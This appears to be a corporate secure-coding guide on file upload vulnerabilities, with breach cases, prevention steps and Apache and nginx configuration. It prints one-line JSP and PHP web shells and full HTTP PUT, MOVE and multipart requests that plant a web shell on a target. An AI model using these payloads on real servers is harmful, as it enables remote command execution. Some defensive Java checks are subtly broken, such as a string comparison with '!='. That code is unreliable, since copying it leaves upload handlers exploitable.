NShiftKey-Rule-Guide logo NShiftKey-Rule-Guide

1. Vulnerability Description

Execute OS Command - java

java.lang.Runtime.getRuntime().exec(request.getParameter(cmd));

Execute OS Command - php

@system($_GET[cmd]);
@shell_exec($_POST[cmd]);
@passthru($_POST[cmd]);

file upload Fig 1

<Fig 1. Attack scenario>

Accident Case

- Infringement of delivery service, childcare portal site in 2015
- Korean Medical Association / Dentist Association / Oriental Medical Association Infringement Accidents (150,000) in 2014
- Ticket Monster Infringement Accident (1.13 million) in 2014
- The vulnerability of file uploads is cited as the cause of infringement of the largest percentage of KISA accidents (80 to 90 percent) in 2014/205.
- Case of internal infringement: Web shell upload accident through Tomcat Manager page open to the outside (primary cause of easy password use)

file upload fig 2

<Fig 2. war file upload(target : offsite services with servers in-house / linux & war)>

file upload fig 3

<Fig 3. aspx file uploads(target : in-house affiliate service C / windows server & aspx)>

2. How to check vulnerability

Caution

2.1. HTTP Method(PUT, DELETE)

HTTP Method(PUT)

PUT /upload/image/ws.jsp HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:30.0) Gecko/20100101 Firefox/30.0
Host: target.com
Connection: Keep-Alive
Content-type: text/html
Content-Length:  60
 
<%Runtime.getRuntime().exec(request.getParameter(“cmd”));%>
Move /upload/image/ws.jpg HTTP/1.1
Destination : http://target.com/upload/image/ws.jsp
Host : target.com

2.2. File Upload Function

HTTP Method(MOVE)

POST /upload/upload.jsp HTTP/1.1
Host: target.com
Connection: keep-alive
Content-Length: 230
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.1916.153 Safari/537.36
Content-Type: multipart/form-data;
boundary=----WebKitFormBoundaryWvkRmVFj2ApPGgKi
Accept-Encoding: gzip,deflate,sdch

 
------WebKitFormBoundaryWvkRmVFj2ApPGgKi
Content-Disposition: form-data;name="Filedata"; filename="ws.jsp"
Content-Type: text/html
 
<%Runtime.getRuntime().exec(request.getParameter(“cmd”));%>

2.3. Use of File Transfer Protocol

Reference

Some services sometimes open FTP between servers to collaborate with partners.
In that case, you should specify the server IP so that only the partner server IP is accessible (registering with the firewall policy of the internal network team or security team), and set it up so that it does not deviate from the specified path through the permission settings according to the account.

3. How to Prevent and Respond to Vulnerabilities

3.1. File Extension Restrictions

3,2, Path and Name Restrictions

Reference

Most services in the company do not post the file names that you uploaded, but upload files without extensions according to their own Naming rules.
This is a good example of following both the recommendations in 3.1 and 3.2.

3.3. Capacity Restrictions

3.4. Authority Restrictions

3.5. Hiding File Ipload Path

3.6. Prevent unnecessary HTTP methods and Port Open

Reference

Discontinue or restrict the use of expanded Web protocols

image2016-7-20 21_47_46

<Directory "/usr/local/http/web">
.....
     <LimitExcept GET POST>
          Order allow,deny
          Deny from all
     </LimitExcept>
 </Directory>
Add limit_except setting for each location setting in nginx.conf
...
    server {
        listen          80;
        server_name     prod.shop.co.kr;
        access_log      logs/access_80.log;
        rewrite     ^   https://prodgate.shop.co.kr:443$request_uri? permanent;
        location / {
             limit_except GET POST {
               deny all;
             }
       } 
...

4. Example Code

4.1. File Extension Restrictions

String fileName = file.getOriginalFilename().toLowerCase();
if ( fileName != null ) {
if ( fileName.endsWith(".doc") || fileName.endsWith(".hwp")
|| fileName.endsWith(".pdf") || fileName.endsWith(".xls") ) {
} else throw new ServletExeption("Error");

4.2. Path and Name Restrictionsc

String fileName = file.getOriginalFilename().toLowerCase();
if(fileName != ".htaccess") {
File uploadDir = new File("/app/webapp/data/upload/notice");
String uploadFilePath = uploadDir.getAbsolutePath()+"/" + fileName;
}

4.3. Capacity Restrictions

int size = file.getSize();
if ( size > MAX_FILE_SIZE ) throw new ServletException("Error");